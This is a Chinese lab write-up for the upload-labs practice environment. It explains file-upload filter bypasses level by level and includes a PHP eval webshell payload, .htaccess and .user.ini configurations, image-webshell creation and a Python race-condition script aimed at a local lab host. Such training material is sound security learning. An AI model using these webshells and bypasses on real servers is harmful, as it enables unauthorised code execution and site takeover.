upload-labs通关记录
upload-labs通关记录
一句话木马解读
一般的解题步骤
或者可以直接用字典爆破一下
https://github.com/TheKingOfDuck/fuzzDicts/blob/master/uploadFileExtDicts/all_upload_fuzz.txt是否上传成功观察:把返回的路径加文件名直接访问http码返回为200代码上传成功
用菜刀或者蚁剑连接拿到flag 菜刀连接成功率会高一点
http状态码:https://www.cnblogs.com/cjwxf/p/6186287.html
php靶机系统文件下载:*https://github.com/Tj1ngwe1/upload-labs*
upload-labs
pass-01
考点:前端js的饶过-简单
三种方式:1.使用火狐插件NoScript来禁用js代码
2.直接将js代码删除
3.上传正常格式文件通过bp抓包修改filename为脚本格式(推荐)
使用菜刀连接,蚁剑连不上见鬼
pass-02
考点:后端验证基于MIME-简单
两种方式:1.上传脚本格式文件,bp修改文件的content-type
2.上传指定格式文件,bp修改文件filename为脚本格式
pass-03
考点:后端黑名单校验-简单
黑名单不全,可以使用大小写、‘.’号(如:1.php.)、特殊字符(如:1.php::$DATA)、Apache文件后缀解析(1.php.xxx为1.php)等方式绕过,但查看源码后,发现都给过滤掉了。
strrchr(string,char)
函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符 所以点号饶过就行不通了
str_ireplace("WORLD","Shanghai","Hello world!")
不区分大小写把hello world里的 world替换成shanghai
解法:这题就要使用一些特殊的后缀
php:php3、php4、php5、php7、phtml
jsp:jspx、jspf
asp:asa、cer
使用特殊后缀之后,发现还是不行,返回结果为空,测试也读不出来。是由于环境是phpstudy搭建的,里面把后缀给限制了,所以改一下httpd.conf文件里的
AddType application/x-httpd-php .php .phtml为AddType application/x-httpd-php .php .phtml .php3 .php4 记得去掉#号。
pass-04
考点:黑名单验证.htacess的使用-简单
查看源码发现这题几乎过滤了所有可以用的后缀名饶过
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。 概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:
网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
根据以上内容,假如我们自定义一个规则,并让服务器运行我们定义的规则,便可绕过上传限制
hatccess写法一
AddType application/x-httpd-php .后缀名
创建相同后缀名的一句话木马,作用就是会让这个后缀名变成php代码执行
hatccess写法二
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "xxxx">
SetHandler application/x-httpd-php
</FilesMatch>
解法:上传.hatccess文件里指定的后缀名就可以getwebshell
根据提示用这个地址去连接后台
apache服务器扩展1:多后缀解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
如1.php.abc,因apache2不识别.abc后缀,所以向前解析php
扩展2:CVE-2017-15715
利用在上传文件时,文件名之后添加一个\x0a来绕过黑名单上传的限制
pass-05
考点:黑名单验证,.user.ini-简单
这题.htaccess也被过滤了。
解法:.user.ini这个文件,常见与nginx服务器中
.user.ini
当使用CGI/FastCGI 来解析php时,php会优先搜索目录下所有的.ini文件,并应用其中的配置。类似于apache的.htaccess,但语法与.htacces不同,语法与php.ini一致。因nginx实际上只是起到转发的作用,实际解析一般为php-fpm或fastcgi来解析,所以在.user.ini中写如auto_prepend_file=test.jpg,之后上传.user.ini与test.jpg,过一段时间等待.user.ini被加载后,会导致每个php文件解析之前先将test.jpg当作php解析。
.user.ini的写法
auto_prepend_file=test.指定后缀
nginx扩展1:CVE-2013-4547
即上传一个1.gif,然后访问1.gif[0x20][0x00].php([0x20][0x00]为空格和\0不需要url编码),1.gif会被当作php解析
扩展2:php-cgi漏洞
在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php解析成php
根据提示
可连接上
pass-06
考点:黑名单验证,大小写绕过
这题把.ini也给过滤了所以第五关的方式用不了
解法:使用后缀名大小写饶过因为这里没有使用转成小写(strtolower())那个函数
1.PHP 1.Php
pass-07
考点:黑名单验证,空格绕过
解法:去除了对文件后缀名的空格过滤(trim()),选择后缀为.php
的一句话上传,抓包后在后面增加空格,成功绕过。
pass-08
考点:黑名单验证,点号绕过
解法:再后缀名后面加一个点号
这题没有
deldot($file_name);//删除文件名末尾的点
原理:window特性,会自动去掉后缀的“.”,编程.php文件
pass-09
考点:黑名单验证,特殊字符::$DATA绕过
解法:在后缀名后加上::$DATA,访问时候去掉。
原理:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名
这题没有
str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
pass-10
考点:黑名单
查看源码发现保存路径的时间用的文件本身名字
解法:选择后缀为.php
的一句话上传,抓包后构造文件后缀为php. .
最终被解析为1.php.
pass-11
考点:黑名单验证,双写饶过
解法:上传后缀为pphphp的一句话
因为这边只替换黑名单中的php一次,这样p php hp这样就把中间的php给替换了,剩下的还是php从而饶过
pass-12
考点:白名单验证,0x00截断
原理:查看源码和提示,上传路径可控,并且是最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。原理是:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
解法:修改一句话的后缀名为.jpg
后上传,抓包后修改URL,成功上传
pass-13
考点:白名单验证,0x00截断
解法:原理同Pass-12,只不过save_path
是通过post传进来的,需要在Hex里修改
+
的URL编码的16进制 为2b,将2b改为00即可
pass-14
考点:服务端文件头检查,图片马
三种常见图片开头名
JPG:FFD8FFEO00104A464946
GIF: 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
两种方式:1.找到正常格式的图片尽量找小的,制作图片马,或直接用记事本图片最后加上一句话
2.使用一句话木马,在文件内容之前加上文件头也可,但要更改文件至相应格式。
图片马制作方法,2.jpg就是图片马
copy 1.jpg/png/gif/b + 1.php 新文件名
解法传图片马用文件包含验证
pass-15
考点:getimagesize()函数突破
getimagesize(string $filename [,array &$imageinfo])//获取图像信息,返回一个数组
/*
返回的数组中,索引0:图像宽度像素值
索引1:图像高度像素值
索引2:图像类型,1=GIF,2=JPG,3=PNG,4=SWF,5=PSD,6=BMP,7=TIFF_II,8=TIFF_MM,9=JPC,10=JP2,11=JPX,12=JB2,13=SWC,14=IFF,15=WBMP,16=XBM,17=ICO,18=COUNT
索引3:图像宽度和高度的字符串
索引bits:图像的每种颜色的位数,二进制格式
索引channels:图像的通道值
索引mime:图像的MIME信息
*/
image_type_to_extension(int $imagetype [,bool $include_dot = TRUE])//获取图像类型的文件扩展名
/*
include_dot是否在扩展名前加点。默认为TRUE
*/
解法:与上一题解题思路一致,修改文件头绕过,但是本题的验证不只是文件头的前两位。
pass-16
考点:exif_imagetype()函数突破
此函数需要开启php_exif模块
exif_imagetype(string $filename)//读取一个图像的第一个字节并检查其签名
解法:同上
pass-17
考点:二次渲染
验证过程:判断后缀与MIME类型是否符合要求,符合后生成新图像(内容不正确会失败,返回false,相当于多了一次验证),生成新图像失败就unlink
删除,成功就根据系统时间给文件命名,再通过imagejpeg
类似函数使用原图像资源创建新图像(二次渲染)。相关函数说明:
basename(string $path [,string $suffix]) //返回路径中的文件名部分
imagecreatefromjpeg(string $filename)
imagecreatefrompng(string $filename)
imagecreatefromgif(string $filename) //由文件或URL创建一个新图像,内容不对则失败返回false,成功后返回图像资源
srand([int $seed ]) //用seed播下随机数发生器种子
strval(mixed $var) //返回字符串类型的var
imagejpeg(resource $image [,string $filename [,int $quality]])//从image图像以filename为文件名创建一个JPEG图像
imagepng(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个PNG图像或文件
imagegif(resource $image [,string $filename]) //从 image 图像以filename为文件名创建一个GIF图像或文件
解法:用winhex找到二次渲染后没有改变的地方加上一句话即可
传送门:https://xz.aliyun.com/t/2657#toc-2
pass-18
考点:白名单验证,条件竞争
验证过程:服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名,
rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname
解法:用burp一直发包,让php程序一直处于移动php文件到上传目录这个阶段代码
执行逻辑:先移动,后检测,不符合再删除,符合则改名字
写一个php
不断上传文件,在文件还没被删除前去读取文件,则还没被删除前去读取文件,解析之后会写入一个内容为``的shell.php
文件
注:"pass"
一定要双引号,不然单引号之间乱了。
<?PHP echo md5(1);fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
出现ok代表成功上传了
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = requests.get("http://127.0.0.1/upload-labs-master/upload/18pass.php")
if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()
pass-19
考点:和18一样的
解法:不要上传php就行
pass-20
考点:黑名单验证,点号绕过
解法:在上传的文件名后加上/.
同样是上传路径可控,可以使用和Pass-13同样的方式绕过。不同的是这里的黑名单,可以文件名称保存的时候,加上.
,最末的.
号使得pathinfo()
获取到的PATHINFO_EXTENSION
为空,从而绕过黑名单。
pathinfo(string $path [,int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME])
/*
返回一个关联数组包含有path的信息。返回关联数组还是字符串取决于options
PATHINFO_DIRNAME:文件所在目录
PATHINFO_BASENAME:文件+后缀名
PATHINFO_EXTENSION:后缀名
PATHINFO_FILENAME:文件名
*/
pass-21
考点:白名单验证,数组绕过
解法:三层饶过
绕过MIMIE,改一下包的Content-Type,为了绕过explode()函数,需要传入数组,绕过白名单,由于取的是end()也就是数组最后一个,需要传入数组的最后一个为jpg|png|gif,最后是拼接文件名,取的是reset()第一个,即索引为0,和索引count()-1(数组内元素个数-1)。所以令索引0为1.php,索引2为jpg(只要是索引1之后都可),这样数组元素个数为2,拼接的就是索引0和索引1,也就是1.php和空,结果还是1.php,这样就可以使得拼接后的文件名为1.php
explode(string $delimiter , string $string [, int $limit])//返回由字符串组成的数组,每个元素都是string的一个子串,它们被字符串delimiter作为边界点分割出来
reset(array &$array)//将数组的内部指针指向第一个单元
$_FILES['file']['name'] //客户端上传的文件原名称,含扩展名
$_FILES['file']['type'] //上传的文件类型
$_FILES['file']['tmp_name'] //文件上传后,在服务器端存储的临时文件名
stripos(string $haystack,string $needle [,int $offset = 0])// 查找字符串首次出现的位置(不区分大小写)
strrpos(string $haystack,string $needle [,int $offset = 0])//计算指定字符串在目标字符串中最后一次出现的位置
move_uploaded_file(string $filename,string $destination) //文件上传后先存储于服务器的临时目录中,使用该函数移动文件位置
substr(string $string,int $start [,int $length]) //返回字符串string中从位置start处后的长度为length部分
strrchr(string $haystack,mixed $needle) //返回haystack字符串中的一部分,这部分以needle的最后出现位置开始,直到haystack末尾
in_array(mixed $needle,array $haystack[,bool $strict = FALSE])//在数组haystack中搜索是否存在值needle,strict若设置TRUE,则类型也会匹配